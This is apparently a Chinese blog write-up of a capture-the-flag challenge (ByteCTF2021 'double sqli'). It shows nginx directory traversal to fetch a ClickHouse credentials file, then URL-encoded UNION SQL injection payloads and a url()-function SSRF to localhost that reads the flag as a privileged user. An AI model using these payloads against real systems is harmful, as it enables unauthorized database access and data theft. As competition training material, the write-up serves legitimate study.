ByteCTF2021 double sqli详解

31 篇文章 4 订阅
9 篇文章 0 订阅

ByteCTF2021–writeup(double sqli)

一.正文

首先,拿到题目之后,访问网站的根目录,可以看到一个链接,点进去之后就网站就会返回一个图片。图片之没什么用的,然后直接访问files目录。

请添加图片描述
利用nginx配置不当导致的目录跨越漏洞进行利用。访问files…/
请添加图片描述
发现可以访问任意目录,然后到/var/lib/clickhouse/access下下载sql文件,有一个SQL文件是可以下载的。
请添加图片描述请添加图片描述

下载之后,用workbench把它打开,查看其中的文件内容。
请添加图片描述
我们可以看到有一个user_01的用户,而且我们还得到了他的明文密码。
题目是double sqli,很明显是要我们进行sql注入的,注入点就是上面url中的id。尝试进行sql注入测试。

?id=0%20union%20all%20select%20(database());

然后是有回显的,如下是回显结果。
请添加图片描述
在这里要提前说明一点在上面我们在找sql文件的时候我们已经得知该网站所用的数据库是clickhouse,我们要参照clickhouse的官方文档进行下一步的操作。官方文档https://clickhouse.com/docs/zh/operations
下面贴一张图,上面是官方文档列出的系统表,也是我们接下来要进行操作的重要工具。
请添加图片描述
好让我们回到题目中,我们刚才拿到了当前数据库的名字,然后继续往下进行,依次解出他的表明以及字段名。

(表名)

?id=0%20union%20all%20select%20name%20from%20system.tables%20where%20database=%27default%27;

请添加图片描述
(字段名)

?id=0%20union%20all%20select%20name%20from%20system.columns%20where%20database=%27default%27and%20table%20=%20%27hello%27;

请添加图片描述
(然后看表的内容)

?id=0%20union%20all%20select%20*%20from%20hello;

请添加图片描述
额。。。。好像走了一圈之后,并没有什么用。
请添加图片描述
那就看看他还有没有别的什么数据库,还是用刚才说过的系统表进行操作。

?id=0%20union%20all%20select%20name%20from%20system.databases;

请添加图片描述
哦。。。果然有第二个数据库,然后故技重施。

id=0%20union%20all%20select%20name%20from%20system.tables%20where%20database=%27ctf%27;

请添加图片描述
然后当我尝试读取的时候。

?id=0%20union%20all%20select%20*%20from%20ctf.hint;

请添加图片描述
笑死,根本没有权限。
那好,我们看一下我们现在的数据库用户是什么?

?id=0%20union%20all%20select%20user();

请添加图片描述
刚才那个sql文件里面写的好像是user_01来着,看来我们要通过其他方式进行高权限用户登录以实现数据库访问了。
去官方文档中搜集一波信息,然后就找到了几个比较有意思的函数以及clickhouse的特殊用法
请添加图片描述
请添加图片描述
请添加图片描述
上面这三张图告诉了我们几个信息。
1.clickhouse支持内网的服务,可以通过get请求的方式进行用户的登录,以及SQL语句的执行。

2.我们可以通过select * from url()的形式,将url中请求到的列以指定的形式反馈回来。

有了这两个前提条件我们就可以进行payload的构建了。

?id=0%20union%20all%20select%20*%20from%20url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520*%2520from%2520ctf.hint%27,CSV,%27column%20String%27);

请添加图片描述
额。。。。麻了,还是权限不允许。但是我们是通过usr_01进行数据库操作的,所以权限是一定够的。那么可以推断这个表的内容就是这个dont_have_permission。
我们去查一下是否还有其他的表,通过这个user_01用户.

?id=0%20union%20all%20select%20*%20from%20url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520name%2520from%2520system.tables%27,CSV,%27column%20String%27);

请添加图片描述
看来是有的,那么咱们直接读这个flag。

?id=0%20union%20all%20select%20*%20from%20url(%27http://127.0.0.1:8123/?user=user_01%26password=e3b0c44298fc1c149afb%26query=select%2520*%2520from%2520ctf.flag%27,CSV,%27column%20String%27);

请添加图片描述
好了,战斗结束。

二.后记

其实在解题目的过程中,还是遇到了一些问题。大都来自于对这个clickhouse数据库操作的生疏。在我进行查表的过程中,这个问题显得尤为突出。
正常在mysql数据库下我们查数据库下的表应该是这样

?id=0%20union%20all%20select%20name%20from%20system.tables where database=XXXX;

当然这里只是打个比方,事实上MySQL中并没有system.tables.我这里只是想说他应该会有where子句。但是我在做这道题的时候,在我加上where子句的时候该网站的后端数据库,会给我返回报错。

在clickhouse中,如下的查询语句好像是更好的方式。

?id=0%20union%20all%20select%20name%20from%20system.tables

在官方文档中也没有给出解释,但是它在每一个系统表的后面都有着这样一句话。
请添加图片描述
我想这个可能就是原因之一,当然也可能不是。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值